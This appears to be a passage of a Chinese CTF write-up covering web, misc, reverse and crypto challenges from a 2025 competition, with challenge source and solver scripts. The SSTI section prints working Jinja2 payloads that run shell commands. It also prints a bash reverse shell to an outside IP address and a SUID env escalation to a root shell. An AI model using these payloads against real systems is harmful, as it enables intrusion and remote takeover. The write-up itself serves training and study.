,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: raise ValueError(f"waf" ) return payload @app.route("/" ) def index (): user = session.get("user" ) return render_template("index.html" , user=user) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = (request.form.get("username" ) or "" ) password = request.form.get("password" ) or "" if not username or not password: return render_template("register.html" , error="用户名和密码不能为空" ) if username in USERS: return render_template("register.html" , error="用户名已存在" ) USERS[username] = {"password" : password} session["user" ] = username return redirect(url_for("profile" )) return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = (request.form.get("username" ) or "" ).strip() password = request.form.get("password" ) or "" user = USERS.get(username) if not user or user.get("password" ) != password: return render_template("login.html" , error="用户名或密码错误" ) session["user" ] = username return redirect(url_for("profile" )) return render_template("login.html" ) @app.route("/logout" ) def logout (): session.clear() return redirect(url_for("index" )) @app.route("/profile" ) def profile (): user = session.get("user" ) if not user: return redirect(url_for("login" )) name_raw = request.args.get("name" , user) try : filtered = waf(name_raw) tmpl = f"欢迎,{filtered} " rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: rendered_snippet = "" error_msg = f"渲染错误: {e} " return render_template( "profile.html" , content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read" , methods=["GET" , "POST" ] ) def read_file (): user = session.get("user" ) if not user: return redirect(url_for("login" )) base_dir = os.path.join(os.path.dirname(__file__), "story" ) try : entries = sorted ([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] filename = "" if request.method == "POST" : filename = request.form.get("filename" ) or "" else : filename = request.args.get("filename" ) or "" content = None error = None if filename: sanitized = filename.replace("../" , "" ) target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized} " else : with open (target_path, "r" , encoding="utf-8" , errors="ignore" ) as f: content = f.read() return render_template("read.html" , files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 , debug=False )
很容易看出来漏洞点在注册的用户名可以SSTI,然后有一些黑名单,这里用fenjing去找个能用的payload就行
payload1
1 {{ g.pop['_'~'_globals__'].__builtins__['__i'~'mport__']('os').popen('ls / -al').read()}}
urlencode之后去注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /register HTTP/1.1 Host: 019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 362 Origin: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn Connection: close Referer: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn/register Upgrade-Insecure-Requests: 1 Priority: u=0, i username=%7b%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%2e%70%6f%70%5b%27%5f%27%7e%27%5f%67%6c%6f%62%61%6c%73%5f%5f%27%5d%2e%5f%5f%62%75%69%6c%74%69%6e%73%5f%5f%5b%27%5f%5f%69%27%7e%27%6d%70%6f%72%74%5f%5f%27%5d%28%27%6f%73%27%29%2e%70%6f%70%65%6e%28%27%6c%73%20%2f%20%2d%61%6c%27%29%2e%72%65%61%64%28%29%7d%7d&password=1
拿到结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 total 64 drwxr-xr-x 1 root root 4096 Nov 4 11:37 . drwxr-xr-x 1 root root 4096 Nov 4 11:37 .. lrwxrwxrwx 1 root root 7 Aug 24 16:20 bin -> usr/bin drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot drwxr-xr-x 5 root root 360 Nov 4 11:37 dev -rwxr-xr-x 1 root root 300 Jan 1 1970 entrypoint.sh drwxr-xr-x 1 root root 4096 Nov 4 11:37 etc -r-------- 1 root root 69 Nov 4 11:37 flag drwxr-xr-x 2 root root 4096 Aug 24 16:20 home lrwxrwxrwx 1 root root 7 Aug 24 16:20 lib -> usr/lib lrwxrwxrwx 1 root root 9 Aug 24 16:20 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4096 Oct 20 00:00 media drwxr-xr-x 2 root root 4096 Oct 20 00:00 mnt drwxr-xr-x 1 root root 4096 Oct 29 07:15 opt dr-xr-xr-x 1018 root root 0 Nov 4 11:37 proc drwx------ 1 root root 4096 Oct 21 02:09 root drwxr-xr-x 3 root root 4096 Oct 20 00:00 run lrwxrwxrwx 1 root root 8 Aug 24 16:20 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Oct 20 00:00 srv dr-xr-xr-x 13 root root 0 Oct 24 12:47 sys drwxrwxrwt 1 root root 4096 Oct 29 12:08 tmp drwxr-xr-x 1 root root 4096 Oct 20 00:00 usr drwxr-xr-x 1 root root 4096 Oct 20 00:00 var
suid
1 2 3 4 5 6 7 8 9 /usr/bin/su /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/passwd /usr/bin/mount /usr/local/bin/env
可以发现要用env提权
反弹shell
1 {{ g.pop['_'~'_globals__'].__builtins__['__i'~'mport__']('os').popen('bash -c "bash -i >& /dev/tcp/150.242.245.109/6666 0>&1"').read()}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /register HTTP/1.1 Host: 019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1562 Origin: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn Connection: close Referer: http://019a4ea8-c68f-7240-9628-ba289d8e4f6e.geek.ctfplus.cn/register Upgrade-Insecure-Requests: 1 Priority: u=0, i username=%7b%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%2e%70%6f%70%5b%27%5f%27%7e%27%5f%67%6c%6f%62%61%6c%73%5f%5f%27%5d%2e%5f%5f%62%75%69%6c%74%69%6e%73%5f%5f%5b%27%5f%5f%69%27%7e%27%6d%70%6f%72%74%5f%5f%27%5d%28%27%6f%73%27%29%2e%70%6f%70%65%6e%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%35%30%2e%32%34%32%2e%32%34%35%2e%31%30%39%2f%36%36%36%36%20%30%3e%26%31%22%27%29%2e%72%65%61%64%28%29%7d%7d&password=1
接收到shell后
1 2 3 /usr/local/bin/env /bin/sh -p cat /flag
百年继承 ez-seralize index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php ini_set ('display_errors' , '0' );$filename = isset ($_GET ['filename' ]) ? $_GET ['filename' ] : null ;$content = null ;$error = null ;if (isset ($filename ) && $filename !== '' ) { $balcklist = ["../" ,"%2e" ,".." ,"data://" ,"\n" ,"input" ,"%0a" ,"%" ,"\r" ,"%0d" ,"php://" ,"/etc/passwd" ,"/proc/self/environ" ,"php:file" ,"filter" ]; foreach ($balcklist as $v ) { if (strpos ($filename , $v ) !== false ) { $error = "no no no" ; break ; } } if ($error === null ) { if (isset ($_GET ['serialized' ])) { require 'function.php' ; $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } else { $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } } } else { $error = null ; } ?>
uploads.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php $uploadDir = __DIR__ . '/uploads/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0755 , true ); } $whitelist = ['txt' , 'log' , 'jpg' , 'jpeg' , 'png' , 'zip' ,'gif' ,'gz' ];$allowedMimes = [ 'txt' => ['text/plain' ], 'log' => ['text/plain' ], 'jpg' => ['image/jpeg' ], 'jpeg' => ['image/jpeg' ], 'png' => ['image/png' ], 'zip' => ['application/zip' , 'application/x-zip-compressed' , 'multipart/x-zip' ], 'gif' => ['image/gif' ], 'gz' => ['application/gzip' , 'application/x-gzip' ] ]; $resultMessage = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; if ($file ['error' ] === UPLOAD_ERR_OK) { $originalName = $file ['name' ]; $ext = strtolower (pathinfo ($originalName , PATHINFO_EXTENSION)); if (!in_array ($ext , $whitelist , true )) { die ('File extension not allowed.' ); } $mime = $file ['type' ]; if (!isset ($allowedMimes [$ext ]) || !in_array ($mime , $allowedMimes [$ext ], true )) { die ('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars ($mime )); } $safeBaseName = preg_replace ('/[^A-Za-z0-9_\-\.]/' , '_' , basename ($originalName )); $safeBaseName = ltrim ($safeBaseName , '.' ); $targetFilename = time () . '_' . $safeBaseName ; file_put_contents ('/tmp/log.txt' , "upload file success: $targetFilename , MIME: $mime \n" ); $targetPath = $uploadDir . $targetFilename ; if (move_uploaded_file ($file ['tmp_name' ], $targetPath )) { @chmod ($targetPath , 0644 ); $resultMessage = '<div class="success"> File uploaded successfully ' . '</div>' ; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>' ; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file ['error' ] . '</div>' ; } } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class A { public $file ; public $luo ; public function __construct ( ) { } public function __toString ( ) { $function = $this ->luo; return $function (); } } class B { public $a ; public $test ; public function __construct ( ) { } public function __wakeup ( ) { echo ($this ->test); } public function __invoke ( ) { $this ->a->rce_me (); } } class C { public $b ; public function __construct ($b = null ) { $this ->b = $b ; } public function rce_me ( ) { echo "Success!\n" ; system ("cat /flag/flag.txt > /tmp/flag" ); } }
另外前端源码提示设置了open_basedir
1 2 RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \ > /usr/local/etc/php/conf.d/zz-open_basedir.ini
index.php作用应该只是读源码,后面要看uploads.php和function.php
eeeeezzzzzzZip www.zip泄露
login.php中泄露账密是admin/guest123
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php session_start ();error_reporting (0 );if (!isset ($_SESSION ['user' ])) { header ("Location: login.php" ); exit ; } $salt = 'GeekChallenge_2025' ;if (!isset ($_SESSION ['dir' ])) { $_SESSION ['dir' ] = bin2hex (random_bytes (4 )); } $SANDBOX = sys_get_temp_dir () . "/uploads_" . md5 ($salt . $_SESSION ['dir' ]);if (!is_dir ($SANDBOX )) mkdir ($SANDBOX , 0700 , true );$files = array_diff (scandir ($SANDBOX ), ['.' , '..' ]);$result = '' ;if (isset ($_GET ['f' ])) { $filename = basename ($_GET ['f' ]); $fullpath = $SANDBOX . '/' . $filename ; if (file_exists ($fullpath ) && preg_match ('/\.(zip|bz2|gz|xz|7z)$/i' , $filename )) { ob_start (); @include ($fullpath ); $result = ob_get_clean (); } else { $result = "文件不存在或非法类型。" ; } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php session_start ();error_reporting (0 );$allowed_extensions = ['zip' , 'bz2' , 'gz' , 'xz' , '7z' ];$allowed_mime_types = [ 'application/zip' , 'application/x-bzip2' , 'application/gzip' , 'application/x-gzip' , 'application/x-xz' , 'application/x-7z-compressed' , ]; $BLOCK_LIST = [ "__HALT_COMPILER()" , "PK" , "<?" , "<?php" , "phar://" , "php" , "?>" ]; function content_filter ($tmpfile , $block_list ) { $fh = fopen ($tmpfile , "rb" ); if (!$fh ) return true ; $head = fread ($fh , 4096 ); fseek ($fh , -4096 , SEEK_END); $tail = fread ($fh , 4096 ); fclose ($fh ); $sample = $head . $tail ; $lower = strtolower ($sample ); foreach ($block_list as $pat ) { if (stripos ($sample , $pat ) !== false ) { return false ; } if (stripos ($lower , strtolower ($pat )) !== false ) { return false ; } } return true ; } if (!isset ($_SESSION ['dir' ])) { $_SESSION ['dir' ] = bin2hex (random_bytes (4 )); } $salt = 'GeekChallenge_2025' ;$SANDBOX = sys_get_temp_dir () . "/uploads_" . md5 ($salt . $_SESSION ['dir' ]);if (!is_dir ($SANDBOX )) mkdir ($SANDBOX , 0700 , true );if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (!isset ($_FILES ['file' ])) { http_response_code (400 ); die ("No file." ); } $tmp = $_FILES ['file' ]['tmp_name' ]; $orig = basename ($_FILES ['file' ]['name' ]); if (!is_uploaded_file ($tmp )) { http_response_code (400 ); die ("Upload error." ); } $ext = strtolower (pathinfo ($orig , PATHINFO_EXTENSION)); if (!in_array ($ext , $allowed_extensions )) { http_response_code (400 ); die ("Bad extension." ); } $finfo = finfo_open (FILEINFO_MIME_TYPE); $mime = finfo_file ($finfo , $tmp ); finfo_close ($finfo ); if (!in_array ($mime , $allowed_mime_types )) { http_response_code (400 ); die ("Bad mime." ); } if (!content_filter ($tmp , $BLOCK_LIST )) { http_response_code (400 ); die ("Content blocked." ); } $newname = time () . "_" . preg_replace ('/[^A-Za-z0-9._-]/' , '_' , $orig ); $dest = $SANDBOX . '/' . $newname ; if (!move_uploaded_file ($tmp , $dest )) { http_response_code (500 ); die ("Move failed." ); } echo "UPLOAD_OK:" . htmlspecialchars ($newname , ENT_QUOTES); exit ; } ?>
Misc Dream sepolia.etherscan.io搜素0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43,找到下面的信息
1 0x6080604052348015600e575f80fd5b50600436106026575f3560e01c8063cf9a197d14602a575b5f80fd5b60306044565b604051603b9190607c565b60405180910390f35b5f775359437b77336c63306d337430626c30636b636861316e7d805f5260205ff35b5f819050919050565b6076816066565b82525050565b5f602082019050608d5f830184606f565b9291505056fea2646970667358221220974b3f216c3631b694b1fb0452f8c8c6ab797a24697c62ebd80b250622b805e864736f6c63430008190033
hex解码可以看到flag
hidden docx改为zip后解压发现word.txt和flag3.jpg
1 2 3 flag2:MzYyZ2V5ZGd3dW5rZHdlZQ== 解base64 362geydgwunkdwee
document.xml里找到第一段
010editor观察jpg文件发现缺少头部,补上FFD8FFE000104A46494600010101006000600000FF即可看到第三段
Expression Parser 继承链直接打
1 [].__class__.__base__.__subclasses__()[155].__init__.__globals__['popen']('env').read()
Reverse Gensh1n 真正校验在 cleanup():对输入 s(长度须为 28)执行 RC4(key="geek2025"),得到的密文需与全局 result 完全一致,同时 CRC32 一致。 由 RC4 可逆,直接计算 s = RC4_decrypt(key="geek2025", data=result) 即得 flag。 关键信息:
KEY:geek2025
RESULT(hex):5259f38a000fe65636e5f033406e56815ae56f876f9f21c9a6bb1651
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ARR = b"geek2025" RESULT = bytes ([ 0x52 , 0x59 , 0xF3 , 0x8A , 0x00 , 0x0F , 0xE6 , 0x56 , 0x36 , 0xE5 , 0xF0 , 0x33 , 0x40 , 0x6E , 0x56 , 0x81 , 0x5A , 0xE5 , 0x6F , 0x87 , 0x6F , 0x9F , 0x21 , 0xC9 , 0xA6 , 0xBB , 0x16 , 0x51 , ]) def rc4_ksa (key: bytes ): S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) & 0xFF S[i], S[j] = S[j], S[i] return S def rc4_prga (S, n ): i = j = 0 out = bytearray () for _ in range (n): i = (i + 1 ) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF ] out.append(K) return bytes (out) def rc4_decrypt (key: bytes , data: bytes ) -> bytes : S = rc4_ksa(key) ks = rc4_prga(S, len (data)) return bytes (d ^ k for d, k in zip (data, ks)) if __name__ == "__main__" : flag_bytes = rc4_decrypt(ARR, RESULT) print (flag_bytes.decode())
Crypto xor_revenge chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from Crypto.Util.number import *from pwn import *from secert import flagdef pq_xor (): p=getPrime(512 ) q=getPrime(512 ) n=p*q return n,p^q def pq_and (): p=getPrime(512 ) q=getPrime(512 ) r=getPrime(512 ) n=p*q hint=r&p return n,p&q,r,hint def main (conn ): conn.sendline("welcome_the_facotr_game_just_ez_xor" ) conn.recvline() conn.sendline("wel_come_to_the_first_1111111_heiheihei" ) G1 = pq_xor() n,gift1=G1[0 ],G1[1 ] msg1=f'I can give you \nn={n} \ngift1={gift1} ' conn.sendline(msg1) p_data=conn.recvline() try : p=int (p_data.strip()) except ValueError: conn.sendline("input error, please send integer p" ) return if (n%p!=0 ): conn.sendline("no,that bad p,cyring" ) return conn.sendline("wow,you find p,now you go next one" ) G2 = pq_and() n,gift2,r,hint=G2[0 ],G2[1 ],G2[2 ],G2[3 ] conn.send(f"I will give you \nn={n} \n gift2={gift2} \n hint={hint} \n r={r} \n" ) p1_data = conn.recvline() try : p = int (p1_data.strip()) except ValueError: conn.sendline("input error, please send integer p" ) return if (n % p != 0 ): conn.sendline("no,that bad p1,cyring again" ) conn.sendline(f"hajimiyonanbolvduo{flag} " ) if __name__ == '__main__' : server = listen(11451 ) log.info("服务端已启动,等待连接..." ) conn = server.wait_for_connection() log.info("有客户端连入!" ) main(conn)
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *import reHOST = "geek.ctfplus.cn" PORT = 31067 def recv_until_n (io ): data = io.recvuntil(b"r=" ) data += io.recvline() n = int (re.search(rb"n=(\d+)" , data).group(1 )) return n def main (): io = remote(HOST, PORT) io.recvline() io.sendline(b"hi" ) io.recvline() io.recvline() n1_line = io.recvline().decode().strip() n1 = int (n1_line.split('=' )[1 ]) io.recvline() io.sendline(str (n1).encode()) io.recvline() n2 = recv_until_n(io) io.sendline(str (n2).encode()) flag_line = io.recvline().decode().strip() print (flag_line) if __name__ == "__main__" : main()
dp_spill chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import randomimport hashlibfrom Crypto.Util.number import inverse, getPrime, GCDfrom sympy.ntheory.modular import solve_congruencedef CRT (a, m, b, n ): val, mod = solve_congruence((a, m), (b, n)) return val def gen_key (): while True : p = getPrime(512 ) q = getPrime(512 ) if GCD(p-1 , q-1 ) == 2 : return p, q def get_e (p, q, BITS ): while True : d_p = random.randint(1 , 1 << BITS) d_q = random.randint(1 , q - 1 ) if d_p % 2 == d_q % 2 : d = CRT(d_p, p - 1 , d_q, q - 1 ) e = inverse(d, (p - 1 ) * (q - 1 )) return e def main (): BITS = 20 p, q = gen_key() n = p * q e = get_e(p, q, BITS) s = str (p + q).encode() flag_hash = hashlib.sha256(s).hexdigest() flag = f"SYC{{{flag_hash} }}" print ("==== RSA Challenge ====" ) print (f"Public Modulus (n): {n} " ) print (f"Clue (e): {e} " ) print () print ("Recover p + q and submit SYC{sha256(p+q)} as the flag!" ) print () if __name__ == "__main__" : main()
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from math import gcdfrom hashlib import sha256def recover_flag (n, e, BITS=20 ): inc = pow (2 , e, n) val = pow (2 , e*1 - 1 , n) for dp in range (1 , 1 << BITS): g = gcd(val - 1 , n) if 1 < g < n: p, q = g, n // g s = p + q return 'SYC{' + sha256(str (s).encode()).hexdigest() + '}' val = (val * inc) % n n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391 e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241 recover_flag(n, e, BITS=20 )
Pwn Week3 Web 路在脚下 西纳普斯的许愿碑 Image Viewer PDF Viewer Xross The Doom 路在脚下_revenge